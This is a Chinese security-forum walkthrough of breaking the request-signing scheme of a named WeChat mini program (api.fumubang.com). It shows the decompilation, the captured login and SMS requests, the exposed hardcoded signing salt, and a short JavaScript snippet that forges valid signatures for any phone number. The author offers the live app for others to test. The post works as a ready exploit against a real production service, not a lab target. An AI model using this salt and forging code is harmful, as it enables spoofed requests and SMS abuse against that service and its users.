安全矩阵

 找回密码
 立即注册
搜索
查看: 813|回复: 0

小程序绕过 sign 签名

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2024-3-24 15:18:03 | 显示全部楼层 |阅读模式
之前看到了一篇文章 小程序绕过sign签名思路 之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程

并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。小程序 父母邦亲子旅行酒店营地乐园活动

在登录时验证码登录的数据包

  1. <p>POST /wxapp/login/send_messages?format=json HTTP/1.1</p><p>Host: api.fumubang.com</p><p>Content-Length: 118</p><p>Xweb_xhr: 1</p><p>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555</p><p>Content-Type: application/json</p><p>Accept: */*</p><p>Sec-Fetch-Site: cross-site</p><p>Sec-Fetch-Mode: cors</p><p>Sec-Fetch-Dest: empty</p><p>Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html</p><p>Accept-Encoding: gzip, deflate, br</p><p>Accept-Language: zh-CN,zh;q=0.9</p><p>Connection: close</p><p>
  2. </p><p>{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}</p>
复制代码




我们直接修改手机号,重放数据包




提示签名失败

打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet




将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码




对小程序进行反编译




因为有一些依赖于 wx 所以只能提供思路



我们看到 sign 的创建流程




所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦

初期思路是这样子的




但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的



柳暗花明
我们加入调试




发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数

利用微信开发者工具进行模拟操作

加入断点




继续步入




可以添加字段 查看对应的值

继续步入




该函数首先创建一个空数组 e,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是

  1. scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e
复制代码







返回值为 64d78d749828368851331593fa1e1ceb









就是对应字符串生成的 md5 的值

我们修改一下数据包




发送成功

修改手机号的数据包








将手机号修改后 提示签名失败



  1. <p>phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e</p><p>a90b19243e471d648d8eb5022d48066c</p>
复制代码
  1. <p>phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e</p><p>85a840e3674201f2606b8b65f914b912</p>
复制代码





所以我们把代码稍微修改一下

  1. <p>"use strict";</p><p>var a = require("./md5.js");</p><p>var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}</p><p>i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");</p><p>console.log(i);</p>
复制代码






成功破解了 sign 签名,可以发送任意数据包

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:41 , Processed in 0.012505 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表